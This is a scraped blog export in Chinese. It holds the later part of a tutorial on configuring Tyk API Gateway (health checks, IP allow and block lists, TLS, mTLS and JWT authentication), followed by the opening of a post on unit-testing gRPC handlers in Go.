Gateway商业版通过Dashboard支持配置带权重的RR负载均衡算法。\n我们看到：实例3已经下线，但Tyk Gateway并不会跳过该已经下线的实例，这在生产环境会给客户端带来不一致的响应。\n3.3.3 服务实例存活检测(uptime test) Tyk Gateway在开启负载均衡的时候，也提供了对后端服务实例的存活检测机制，当某个服务实例down了后，负载均衡机制会绕过该实例将请求发到下一个处于存活状态的实例；而当down机实例恢复后，Tyk Gateway也能及时检测到服务实例上线，并将其加入流量负载调度。\n支持存活检测(uptime test)的API定义配置如下：\n// /opt/tyk-gateway/apps/no-authn-v1.json \u0026quot;uptime_tests\u0026quot;: { \u0026quot;disable\u0026quot;: false, \u0026quot;poller_group\u0026quot;:\u0026quot;\u0026quot;, \u0026quot;check_list\u0026quot;: [ { \u0026quot;url\u0026quot;: \u0026quot;http://localhost:18081/\u0026quot; }, { \u0026quot;url\u0026quot;: \u0026quot;http://localhost:18082/\u0026quot; }, { \u0026quot;url\u0026quot;: \u0026quot;http://localhost:18083/\u0026quot; } ], \u0026quot;config\u0026quot;: { \u0026quot;enable_uptime_analytics\u0026quot;: true, \u0026quot;failure_trigger_sample_size\u0026quot;: 3, \u0026quot;time_wait\u0026quot;: 300, \u0026quot;checker_pool_size\u0026quot;: 50, \u0026quot;expire_utime_after\u0026quot;: 0, \u0026quot;service_discovery\u0026quot;: { \u0026quot;use_discovery_service\u0026quot;: false, \u0026quot;query_endpoint\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;use_nested_query\u0026quot;: false, \u0026quot;parent_data_path\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;data_path\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;port_data_path\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;target_path\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;use_target_list\u0026quot;: false, \u0026quot;cache_disabled\u0026quot;: false, \u0026quot;cache_timeout\u0026quot;: 0, \u0026quot;endpoint_returns_list\u0026quot;: false }, \u0026quot;recheck_wait\u0026quot;: 0 } } \u0026quot;proxy\u0026quot;: { ... ... \u0026quot;enable_load_balancing\u0026quot;: true, \u0026quot;target_list\u0026quot;: [ \u0026quot;http://localhost:18081/\u0026quot;, \u0026quot;http://localhost:18082/\u0026quot;, \u0026quot;http://localhost:18083/\u0026quot; ], \u0026quot;check_host_against_uptime_tests\u0026quot;: true, ... ... } 我们新增了uptime_tests的配置，uptime_tests的check_list中的url的值要与proxy中target_list中的值完全一样，这样Tyk Gateway才能将二者对应上。另外proxy的check_host_against_uptime_tests要设置为true。\n这样配置并生效后，等我们将服务实例3停掉后，后续到no-authn的请求就只会转发到实例1和实例2了。而当恢复实例3运行后，Tyk Gateway又会将流量分担到实例3上。\n3.3.4 动态负载均衡 上面负载均衡示例中target_list中的目标实例的IP和端口的手工配置的，而在云原生时代，我们经常会基于容器承载API服务实例，当容器因故退出，并重新启动一个新容器时，IP可能会发生变化，这样上述的手工配置就无法满足要求，这就对API Gateway提出了与服务发现组件集成的要求：通过服务发现组件动态获取服务实例的访问列表，进而实现动态负载均衡。\nTyk Gateway内置了主流服务发现组件(比如Etcd、Consul、ZooKeeper等)的对接能力，鉴于环境所限，这里就不举例了，大家可以在Tyk Gateway的服务发现示例文档页面找到与不同服务发现组件对接时的配置示例。\n3.3.5 IP访问限制 针对每个API，API网关还提供IP访问限制的特性，比如Tyk Gateway就提供了IP白名单和IP黑名单功能，通常二选一开启一种限制即可。\n以白名单为例，即凡是在白名单中的IP才被允许访问该API。下面是白名单配置样例：\n// /opt/tyk-gateway/apps/no-authn-v1.json \u0026quot;enable_ip_whitelisting\u0026quot;: true, \u0026quot;allowed_ips\u0026quot;: [\u0026quot;12.12.12.12\u0026quot;, \u0026quot;12.12.12.13\u0026quot;, \u0026quot;12.12.12.14\u0026quot;], 生效后，当我们访问no-authn API时，会得到下面错误：\n$curl localhost:8080/api/v1/no-authn { \u0026quot;error\u0026quot;: \u0026quot;access from this IP has been disallowed\u0026quot; } 如果开启的是黑名单，那么凡是在黑名单中的IP都被禁止访问该API，下面是黑名单配置样例：\n// /opt/tyk-gateway/apps/no-authn-v1.json \u0026quot;enable_ip_blacklisting\u0026quot;: true, \u0026quot;blacklisted_ips\u0026quot;: [\u0026quot;12.12.12.12\u0026quot;, \u0026quot;12.12.12.13\u0026quot;, \u0026quot;12.12.12.14\u0026quot;, \u0026quot;127.0.0.1\u0026quot;], 生效后，当我们访问no-authn API时，会得到如下结果：\n$curl 127.0.0.1:8080/api/v1/no-authn { \u0026quot;error\u0026quot;: \u0026quot;access from this IP has been disallowed\u0026quot; } 到目前为止，我们的API网关和定义的API都处于“裸奔”状态，因为没有对客户端进行身份认证，任何客户端都可以访问到我们的API，显然这不是我们期望的，接下来，我们就来看看API网关的一个重要功能特性：身份认证与授权。\n3.4 功能特性：身份认证和授权 在《通过实例理解Go Web身份认证的几种方式》一文中，我们提到过：建立全局的安全通道是任何身份认证方式的前提。\n3.4.1 建立安全通道，卸载TLS证书 Tyk Gateway支持在Gateway层面统一配置TLS证书，同时也起到在Gateway卸载TLS证书的作用：\n这次我们要在tyk.conf中进行配置，才能在Gateway层面生效。这里我们借用《通过实例理解Go Web身份认证的几种方式》一文中生成的几个证书(大家可以在https://github.com/bigwhite/experiments/tree/master/authn-examples/tls-authn/make_certs下载)，并将它们放到/opt/tyk-gateway/certs/下面：\n$ls /opt/tyk-gateway/certs/ server-cert.pem server-key.pem 然后，我们在/opt/tyk-gateway/tyk.conf文件中增加下面配置：\n// /opt/tyk-gateway/tyk.conf \u0026quot;http_server_options\u0026quot;: { \u0026quot;use_ssl\u0026quot;: true, \u0026quot;certificates\u0026quot;: [ { \u0026quot;domain_name\u0026quot;: \u0026quot;server.com\u0026quot;, \u0026quot;cert_file\u0026quot;: \u0026quot;./certs/server-cert.pem\u0026quot;, \u0026quot;key_file\u0026quot;: \u0026quot;./certs/server-key.pem\u0026quot; } ] } 之后，重启tyk gateway服务，使得tyk.conf的配置修改生效。\n注：在/etc/hosts中设置server.com为127.0.0.1。\n现在我们用之前的http方式访问一下no-authn的API：\n$curl server.com:8080/api/v1/no-authn Client sent an HTTP request to an HTTPS server. 由于全局启用了HTTPS，采用http方式的请求将被拒绝。我们换成https方式访问：\n// 不验证服务端证书 $curl -k https://server.com:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn // 验证服务端的自签证书 $curl --cacert ./inter-cert.pem https://server.com:8080/api/v1/no-authn Welcome api: localhost:18081/v1/no-authn 3.4.2 Mutual TLS双向认证 在《通过实例理解Go Web身份认证的几种方式》一文中，我们介绍的第一种身份认证方式就是TLS双向认证，那么Tyk Gateway对MTLS的支持如何呢？Tyk官方文档提到它既支持client mTLS，也支持upstream mTLS。\n我们更关心的是client mTLS，即客户端在与Gateway建连后，Gateway会使用Client CA验证客户端的证书！我最初认为这个Client CA的配置是在tyk.conf中，但找了许久，也没有发现配置Client CA的地方。\n在no-authn API的定义文件(no-authn-v1.json)中，我们做如下配置改动：\n\u0026quot;use_mutual_tls_auth\u0026quot;: true, \u0026quot;client_certificates\u0026quot;: [ \u0026quot;/opt/tyk-gateway/certs/inter-cert.pem\u0026quot; ], 但使用下面命令访问API时报错：\n$curl --key ./client-key.pem --cert ./client-cert.pem --cacert ./inter-cert.pem https://server.com:8080/api/v1/no-authn { \u0026quot;error\u0026quot;: \u0026quot;Certificate with SHA256 bc8717c0f2ea5a0b81813abb3ec42ef8f9bf60da251b87243627d65fb0e3887b not allowed\u0026quot; } 如果将”client_certificates”的配置中的inter-cert.pem改为client-cert.pem，则是可以的，但个人感觉这很奇怪，不符合逻辑，将tyk gateway的文档、issue甚至代码翻了又翻，也没找到合理的配置client CA的位置。\nTyk Gateway支持多种身份认证方式，下面我们来看一种使用较为广泛的方式：JWT Auth。\n主要JWT身份认证方式的原理和详情，可以参考我之前的文章《通过实例理解Go Web身份认证的几种方式》。\n3.4.3 JWT Token Auth 下面是我为这个示例做的一个示意图：\n这是我们日常开发中经常遇到的场景，即通过portal用用户名和密码登录后便可以拿到一个jwt token，然后后续的访问功能API的请求仅携带该jwt token即可。API Gateway对于portal/login API不做任何身份认证；而对后续的功能API请求，通过共享的secret(也称为static secret)对请求中携带的jwt token进行签名验证。\nportal/login API由于不进行authn，这样其配置与前面的no-authn API几乎一致，只是API名称、路径和target_list有不同：\n// apps/portal-login-v1.json { \u0026quot;name\u0026quot;: \u0026quot;portal-login-v1\u0026quot;, \u0026quot;slug\u0026quot;: \u0026quot;portal-login-v1\u0026quot;, \u0026quot;listen_port\u0026quot;: 0, \u0026quot;protocol\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;enable_proxy_protocol\u0026quot;: false, \u0026quot;api_id\u0026quot;: \u0026quot;portal-login-v1\u0026quot;, \u0026quot;org_id\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;use_keyless\u0026quot;: true, ... ... \u0026quot;proxy\u0026quot;: { \u0026quot;preserve_host_header\u0026quot;: false, \u0026quot;listen_path\u0026quot;: \u0026quot;/api/v1/portal/login\u0026quot;, \u0026quot;target_url\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;disable_strip_slash\u0026quot;: false, \u0026quot;strip_listen_path\u0026quot;: true, \u0026quot;enable_load_balancing\u0026quot;: true, \u0026quot;target_list\u0026quot;: [ \u0026quot;http://localhost:28084\u0026quot; ], \u0026quot;check_host_against_uptime_tests\u0026quot;: true, ... ... } 对应的portal login API也不复杂：\n// api-gateway-examples/portal-login/main.go package main import ( \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;time\u0026quot; \u0026quot;github.com/golang-jwt/jwt/v5\u0026quot; ) func main() { // 创建一个基本的HTTP服务器 mux := http.NewServeMux() username := \u0026quot;admin\u0026quot; password := \u0026quot;123456\u0026quot; key := \u0026quot;iamtonybai\u0026quot; // for uptime test mux.HandleFunc(\u0026quot;/health\u0026quot;, func(w http.ResponseWriter, req *http.Request) { w.WriteHeader(http.StatusOK) }) // login handler mux.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, req *http.Request) { // 从请求头中获取Basic Auth认证信息 user, pass, ok := req.BasicAuth() if !ok { // 认证失败 w.WriteHeader(http.StatusUnauthorized) return } // 验证用户名密码 if user == username \u0026amp;\u0026amp; pass == password { // 认证成功，生成token token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ \u0026quot;username\u0026quot;: username, \u0026quot;iat\u0026quot;: jwt.NewNumericDate(time.Now()), }) signedToken, _ := token.SignedString([]byte(key)) w.Write([]byte(signedToken)) } else { // 认证失败 http.Error(w, \u0026quot;Invalid username or password\u0026quot;, http.StatusUnauthorized) } }) // 监听28084端口 err := http.ListenAndServe(\u0026quot;:28084\u0026quot;, mux) if err != nil { log.Fatal(err) } } 运行该login API服务后，我们用curl命令获取一下jwt token：\n$curl -u 'admin:123456' -k https://server.com:8080/api/v1/portal/login eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MDA3NTEyODEsInVzZXJuYW1lIjoiYWRtaW4ifQ.-wC8uPsLHDxSXcEMxIxJ8O2l3aWtWtWKvhtmuHmgIMA 现在我们再来建立protected API：\n// apps/protected-v1.json { \u0026quot;name\u0026quot;: \u0026quot;protected-v1\u0026quot;, \u0026quot;slug\u0026quot;: \u0026quot;protected-v1\u0026quot;, \u0026quot;listen_port\u0026quot;: 0, \u0026quot;protocol\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;enable_proxy_protocol\u0026quot;: false, \u0026quot;api_id\u0026quot;: \u0026quot;protected-v1\u0026quot;, \u0026quot;org_id\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;use_keyless\u0026quot;: false, // 设置为false, gateway才会进行jwt的验证 ... ... \u0026quot;enable_jwt\u0026quot;: true, // 开启jwt \u0026quot;use_standard_auth\u0026quot;: false, \u0026quot;use_go_plugin_auth\u0026quot;: false, \u0026quot;enable_coprocess_auth\u0026quot;: false, \u0026quot;custom_plugin_auth_enabled\u0026quot;: false, \u0026quot;jwt_signing_method\u0026quot;: \u0026quot;hmac\u0026quot;, // 设置alg为hs256 \u0026quot;jwt_source\u0026quot;: \u0026quot;aWFtdG9ueWJhaQ==\u0026quot;, // 设置共享secret: base64(\u0026quot;iamtonybai\u0026quot;) \u0026quot;jwt_identity_base_field\u0026quot;: \u0026quot;username\u0026quot;, // 设置代表请求中的用户身份的字段，这里我们用username \u0026quot;jwt_client_base_field\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;jwt_policy_field_name\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;jwt_default_policies\u0026quot;: [ \u0026quot;5e189590801287e42a6cf5ce\u0026quot; // 设置security policy，这个似乎是jwt auth必须的 ], \u0026quot;jwt_issued_at_validation_skew\u0026quot;: 0, \u0026quot;jwt_expires_at_validation_skew\u0026quot;: 0, \u0026quot;jwt_not_before_validation_skew\u0026quot;: 0, \u0026quot;jwt_skip_kid\u0026quot;: false, ... ... \u0026quot;version_data\u0026quot;: { \u0026quot;not_versioned\u0026quot;: true, \u0026quot;default_version\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;versions\u0026quot;: { \u0026quot;Default\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;Default\u0026quot;, \u0026quot;expires\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;paths\u0026quot;: { \u0026quot;ignored\u0026quot;: null, \u0026quot;white_list\u0026quot;: null, \u0026quot;black_list\u0026quot;: null }, \u0026quot;use_extended_paths\u0026quot;: true, \u0026quot;extended_paths\u0026quot;: { \u0026quot;persist_graphql\u0026quot;: null }, \u0026quot;global_headers\u0026quot;: { \u0026quot;username\u0026quot;: \u0026quot;$tyk_context.jwt_claims_username\u0026quot; // 设置转发到upstream的请求中的header字段username }, \u0026quot;global_headers_remove\u0026quot;: null, \u0026quot;global_response_headers\u0026quot;: null, \u0026quot;global_response_headers_remove\u0026quot;: null, \u0026quot;ignore_endpoint_case\u0026quot;: false, \u0026quot;global_size_limit\u0026quot;: 0, \u0026quot;override_target\u0026quot;: \u0026quot;\u0026quot; } } }, ... ... \u0026quot;enable_context_vars\u0026quot;: true, // 开启上下文变量 \u0026quot;config_data\u0026quot;: null, \u0026quot;config_data_disabled\u0026quot;: false, \u0026quot;tag_headers\u0026quot;: [\u0026quot;username\u0026quot;], // 设置header ... ... } 这个配置就相对复杂许多，也是翻阅了很长时间资料才验证通过的配置。JWT Auth必须有关联的policy设置，我们在tyk gateway开源版中要想设置policy，需要现在tyk.conf中做如下设置：\n// /opt/tyk-gateway/tyk.conf \u0026quot;policies\u0026quot;: { \u0026quot;policy_source\u0026quot;: \u0026quot;file\u0026quot;, \u0026quot;policy_record_name\u0026quot;: \u0026quot;./policies/policies.json\u0026quot; }, 而policies/policies.json的内容如下：\n// /opt/tyk-gateway/policies/policies.json { \u0026quot;5e189590801287e42a6cf5ce\u0026quot;: { \u0026quot;rate\u0026quot;: 1000, \u0026quot;per\u0026quot;: 1, \u0026quot;quota_max\u0026quot;: 100, \u0026quot;quota_renewal_rate\u0026quot;: 60, \u0026quot;access_rights\u0026quot;: { \u0026quot;protected-v1\u0026quot;: { \u0026quot;api_name\u0026quot;: \u0026quot;protected-v1\u0026quot;, \u0026quot;api_id\u0026quot;: \u0026quot;protected-v1\u0026quot;, \u0026quot;versions\u0026quot;: [ \u0026quot;Default\u0026quot; ] } }, \u0026quot;org_id\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;hmac_enabled\u0026quot;: false } } 上述设置完毕并重启tyk gateway生效后，且protected api服务也已经启动时，我们访问一下该API服务：\n$curl -H \u0026quot;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MDA3NTEyODEsInVzZXJuYW1lIjoiYWRtaW4ifQ.-wC8uPsLHDxSXcEMxIxJ8O2l3aWtWtWKvhtmuHmgIMA\u0026quot; -k https://server.com:8080/api/v1/protected invoke protected api ok 我们看到curl发出的请求成功通过了Gateway的验证！并且通过protected API输出的请求信息来看，Gateway成功解析出username，并将其作为Header中的字段传递给了protected API服务实例：\nhttp.Request{Method:\u0026quot;GET\u0026quot;, URL:(*url.URL)(0xc0002f6240), Proto:\u0026quot;HTTP/1.1\u0026quot;, ProtoMajor:1, ProtoMinor:1, Header:http.Header{\u0026quot;Accept\u0026quot;:[]string{\u0026quot;*/*\u0026quot;}, \u0026quot;Accept-Encoding\u0026quot;:[]string{\u0026quot;gzip\u0026quot;}, \u0026quot;Authorization\u0026quot;:[]string{\u0026quot;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MDA3NTEyODEsInVzZXJuYW1lIjoiYWRtaW4ifQ.-wC8uPsLHDxSXcEMxIxJ8O2l3aWtWtWKvhtmuHmgIMA\u0026quot;}, \u0026quot;User-Agent\u0026quot;:[]string{\u0026quot;curl/7.29.0\u0026quot;}, \u0026quot;Username\u0026quot;:[]string{\u0026quot;admin\u0026quot;}, \u0026quot;X-Forwarded-For\u0026quot;:[]string{\u0026quot;127.0.0.1\u0026quot;}}, Body:http.noBody{}, GetBody:(func() (io.ReadCloser, error))(nil), ContentLength:0, TransferEncoding:[]string(nil), Close:false, Host:\u0026quot;localhost:28085\u0026quot;, Form:url.Values(nil), PostForm:url.Values(nil), MultipartForm:(*multipart.Form)(nil), Trailer:http.Header(nil), RemoteAddr:\u0026quot;[::1]:55583\u0026quot;, RequestURI:\u0026quot;/\u0026quot;, TLS:(*tls.ConnectionState)(nil), Cancel:(\u0026lt;-chan struct {})(nil), Response:(*http.Response)(nil), ctx:(*context.cancelCtx)(0xc0002e34f0)} 如果不携带Authorization头字段或jwt的token是错误的，那么结果将如下所示：\n$ curl -k https://server.com:8080/api/v1/protected { \u0026quot;error\u0026quot;: \u0026quot;Authorization field missing\u0026quot; } $ curl -k -H \u0026quot;Authorization: Bearer xxx\u0026quot; https://server.com:8080/api/v1/protected { \u0026quot;error\u0026quot;: \u0026quot;Key not authorized\u0026quot; } 一旦通过API Gateway的身份认证，上游的API服务就会拿到客户端身份，有了唯一身份后，就可以进行授权操作了，其实policy设置本身也是一种授权访问控制。Tyk Gateway自身也支持RBAC等模型，也支持与OPA(open policy agent)等的集成，但更多是在商业版的tyk dashboard下完成的，这里也就不重点说明了。\n下面的Gateway的几个主要功能特性由于试验环境受限以及文章篇幅考量，我不会像上述例子这么细致的说明了，只会简单说明一下。\n3.5 功能特性：流量控制与限速 Tyk Gateway内置提供了强大的流量控制功能，可以通过全局级别和API级别的限速来管理请求流量。此外，Tyk Gateway 还支持请求配额（request quota）来限制每个用户或应用程序在一个时间周期内的请求次数。\n流量不仅和请求速度和数量有关系，与请求的大小也有关系，Tyk Gateway还支持在全局层面和API层面设置Request的size limit，以避免超大包对网关运行造成不良影响。\n3.6 功能特性：高可用与容错处理 在许多情况下，我们要为客户确保服务水平(service level)，比如：最大往返时间、最大响应时延等。Tyk Gateway提供了一系列功能，可帮助我们确保网关的高可用运行和SLA服务水平。\nTyk支持健康检查，这对于确定Tyk Gateway的状态极为重要，没有健康检查，就很难知道网关的实际运行状态如何。\nTyk Gateway还内置了断路器(circuit breaker)，这个断路器是基于比例的，因此如果y个请求中的x请求都失败了，断路器就会跳闸，例如，如果x = 10，y = 100，则阈值百分比为10%。当失败比例到达10%时，断路器就会切断流量，同时跳闸还会触发一个事件，我们可以记录和处理该事件。\n当upstream的服务响应迟迟不归时，Tyk Gateway还可以设置强制超时，可以确保服务始终在给定时间内响应。这在高可用性系统中非常重要，因为在这种系统中，响应性能至关重要，这样才能干净利落地处理错误。\n3.7 功能特性：监控与可观测性 微服务时代，可观测性对运维以及系统高可用的重要性不言而喻。Tyk Gateway在多年的演化过程中，也逐渐增加了对可观测的支持，\n可观测主要分三大块：\nlog Tyk Gateway支持设置输出日志的级别(log level)，默认是info级别。Tyk输出的是结构化日志，这使得它可以很好的与其他日志收集查询系统集成，Tyk支持与主流的日志收集工具对接，包括：logstash、sentry、Graylog、Syslog等。\nmetrics 度量数据是反映网关系统健康状况、错误计数和类型、IT基础设施（服务器、虚拟机、容器、数据库和其他后端组件）及其他流程的硬件资源数据的重要参考。运维团队可以通过使用监控工具来利用实时度量的数据，识别运行趋势、在系统故障时设置警报、确定问题的根本原因并缓解问题。\nTyk Gateway内置了对主流metrics采集方案Prometheus+Grafana的支持，可以在网关层面以及对API进行实时度量数据采集和展示。\ntracing Tyk Gateway从5.2版本开始支持了与服务Tracing界的标准：OpenTelemetry的集成，这样你可以使用多种支持OpenTelemetry的Tracing后端，比如Jaeger、Datadog等。Tracing可在Gateway层面开启，也可以延展到API层面。\n4. 小结 本文对已经相对成熟的API网关技术做了回顾，对API网关的演进阶段、主流特性以及当前市面上的主流API网关进行了简要说明，并以Go实现的Tyk Gateway社区开源版为例，以示例方式对API网关的主要功能做了介绍。\n总体而言，Tyk Gateway是一款功能强大，社区相对活跃并有商业公司支持的产品，文档很丰富，但从实际使用层面，这些文档对Tyk社区版本的使用者来说并不友好，指导性不足(更多用商业版的Dashboard说明，与配置文件难于对应)，就像本文例子中那样，为了搞定JWT认证，笔者着实花了不少时间查阅资料，甚至阅读源码。\nTyk Gateway的配置设计平坦，没有层次和逻辑，感觉是随着时间随意“堆砌”上去的。并且配置文件更新时，如果出现格式问题，Tyk Gateway并不报错，让人难于确定配置是否真正生效了，只能用Tyk Gateway的控制API去查询结果来验证，非常繁琐低效。\n本文涉及的源码可以在这里下载，文中涉及的一些tyk gateway api和security policy的配置也可以在其中查看。\n5. 参考资料 Leaving the Cloud – https://37signals.com/podcast/leaving-the-cloud/ The Past, Present, and Future of API Gateways – https://www.infoq.com/articles/past-present-future-api-gateways/ How moving from AWS to Bare-Metal saved us 230,000/yr – https://blog.oneuptime.com/moving-from-aws-to-bare-metal/ A Comprehensive Guide to API Gateways, Kubernetes Gateways, and Service Meshes – https://navendu.me/posts/gateway-and-mesh/ Use API gateways in microservices – https://learn.microsoft.com/en-us/azure/architecture/microservices/design/gateway The Tyk API Gateway and Postman – https://blog.postman.com/the-tyk-api-gateway-and-postman/ Getting Started with Tyk API Gateway with Keycloak – https://javascript.plainenglish.io/getting-started-to-tyk-api-gateway-with-keycloak-16307435584a Observing your API traffic with Tyk, Elasticsearch \u0026amp; Kibana – https://medium.com/@asoorm/observing-your-api-metrics-with-tyk-elasticsearch-kibana-74e8fd946c39 Set up JWT token in tyk gateway – https://community.tyk.io/t/set-up-jwt-token-in-tyk-gateway/6572/9 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-api-gateway-main-functional-features-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example\"\u003ehttps://tonybai.com/2023/12/03/understand-api-gateway-main-functional-features-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在当今的技术领域中，“下云”的概念正逐渐抬头，像\u003ca href=\"https://dhh.dk/\"\u003eDavid Heinemeier Hansson\u003c/a\u003e(37signals公司的联合创始人, Ruby on Rails的Creator)就直接\u003ca href=\"https://37signals.com/podcast/leaving-the-cloud/\"\u003e将公司所有的业务都从公有云搬迁到了自建的数据中心\u003c/a\u003e中。虽说大多数企业不会这么“极端”，但随着企业对云原生架构采用的广泛与深入，不可避免地面临着对云服务的依赖。云服务在过去的几年中被广泛应用于构建灵活、可扩展的应用程序和基础设施，为企业提供了许多便利和创新机会。然而，随着业务规模的增长和数据量的增加，云服务的成本也随之上升。企业开始意识到，对云服务的依赖已经成为一个值得重新评估的议题。云服务的开销可能占据了企业可用的预算的相当大部分。为了保持竞争力并更好地控制成本，企业需要寻找方法来减少对云服务的依赖，寻找更经济的解决方案，同时确保仍能获得所需的性能、安全性和可扩展性。\u003c/p\u003e","title":"通过实例理解API网关的主要功能特性"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/25/grpc-handler-unit-testing-in-go\n在云原生时代和微服务架构背景下，HTTP和RPC协议成为服务间通信和与客户端交互的两种主要方式。对于Go语言而言，标准库提供了net/http/httptest包，为开发人员提供了便捷的方式来构建服务端HTTP Handler单元测试的测试脚手架代码，而无需真正建立HTTP服务器，让开发人员可以聚焦于对Handler业务逻辑的测试。比如下面这个示例：\n// grpc-test-examples/httptest/http_handler_test.go func myHandler(w http.ResponseWriter, r *http.Request) { // 设置响应头 w.Header().Set(\u0026quot;Content-Type\u0026quot;, \u0026quot;text/plain\u0026quot;) // 根据请求方法进行不同的处理 switch r.Method { case http.MethodGet: // 处理GET请求 fmt.Fprint(w, \u0026quot;Hello, World!\u0026quot;) ... ... } } func TestMyHandler(t *testing.T) { // 创建一个ResponseRecorder来记录Handler的响应 rr := httptest.NewRecorder() // 创建一个模拟的HTTP请求，可以指定请求的方法、路径、正文等 req, err := http.NewRequest(\u0026quot;GET\u0026quot;, \u0026quot;/path\u0026quot;, nil) if err != nil { t.Fatal(err) } // 调用被测试的Handler函数，传入ResponseRecorder和Request对象 // 这里假设被测试的Handler函数为myHandler myHandler(rr, req) // 检查响应状态码和内容 if rr.Code != http.StatusOK { t.Errorf(\u0026quot;Expected status 200; got %d\u0026quot;, rr.Code) } expected := \u0026quot;Hello, World!\u0026quot; if rr.Body.String() != expected { t.Errorf(\u0026quot;Expected body to be %q; got %q\u0026quot;, expected, rr.Body.String()) } } 注：对http client端的单元测试，也可以利用httptest的NewServer来构建一个fake的http server。\n然而，对于使用主流的gRPC等RPC协议的服务端Handler来说，是否存在类似httptest的测试脚手架生成工具包呢？对gRPC的服务端Handler有哪些单元测试的方法呢？在这篇文章中，我们就一起来探究一下。\n1. 建立被测的gRPC服务端Handler 我们首先来建立一个涵盖多种gRPC通信模式的服务端Handler集合。\ngRPC支持四种通信模式，它们分别为：\n简单RPC(Simple RPC，也称为Unary RPC) 这是最简单的，也是最常用的gRPC通信模式，简单来说就是一请求一应答。\n服务端流RPC(Server-streaming RPC) 客户端发来一个请求，服务端通过流返回多个应答。\n客户端流RPC(Client-streaming RPC) 客户端通过流发来多个请求，服务端以一个应答回复。\n双向流RPC(Bidirectional-Streaming RPC) 客户端通过流发起多个请求，服务端也通过流对应返回多个应答。\n注：关于gRPC四种通信方式的详情，可以参考我之前写的《gRPC客户端的那些事儿》一文。\n我们这个SUT(被测目标)是包含以上四种通信模式的gRPC服务，它的Protocol Buffers文件如下：\n// grpc-test-examples/grpctest/IDL/proto/mygrpc.proto syntax = \u0026quot;proto3\u0026quot;; package mygrpc; service MyService { // Unary RPC rpc UnaryRPC(RequestMessage) returns (ResponseMessage) {} // Server-Streaming RPC rpc ServerStreamingRPC(RequestMessage) returns (stream ResponseMessage) {} // Client-Streaming RPC rpc ClientStreamingRPC(stream RequestMessage) returns (ResponseMessage) {} // Bidirectional-Streaming RPC rpc BidirectionalStreamingRPC(stream RequestMessage) returns (stream ResponseMessage) {} } message RequestMessage { string message = 1; } message ResponseMessage { string message = 1; } 通过protoc，我们可基于上述proto文件生成MyService桩(Stub)代码，生成的代码放在了mygrpc目录下面：\n// grpc-test-examples/grpctest/Makefile all: gen gen: protoc -I ./IDL/proto mygrpc.proto --gofast_out=plugins=grpc:./mygrpc 注：你的环境下需要安装protoc和protoc-gen-go才能正确执行上面生成命令，具体的安装方法可参考protoc安装文档。\n注：除了使用经典的protoc基于proto文件生成Go源码外，也可以基于Go开发的buf cli进行代码生成和API管理。buf cLi是现代、快速、高效的Protobuf API管理的终极工具，为基于Protobuf的开发和维护提供了全面的解决方案。等有机会的时候，我在以后的文章中详细说说buf。\n有了生成的桩代码后，我们便可以建立一个gRPC服务器：\n// grpc-test-examples/grpctest/main.go package main import ( pb \u0026quot;demo/mygrpc\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net\u0026quot; \u0026quot;google.golang.org/grpc\u0026quot; ) func main() { // 创建 gRPC 服务器 lis, err := net.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:50051\u0026quot;) if err != nil { log.Fatalf(\u0026quot;failed to listen: %v\u0026quot;, err) } s := grpc.NewServer() // 注册 MyService 服务 pb.RegisterMyServiceServer(s, \u0026amp;server{}) // 启动 gRPC 服务器 log.Println(\u0026quot;Starting gRPC server...\u0026quot;) if err := s.Serve(lis); err != nil { log.Fatalf(\u0026quot;failed to serve: %v\u0026quot;, err) } } 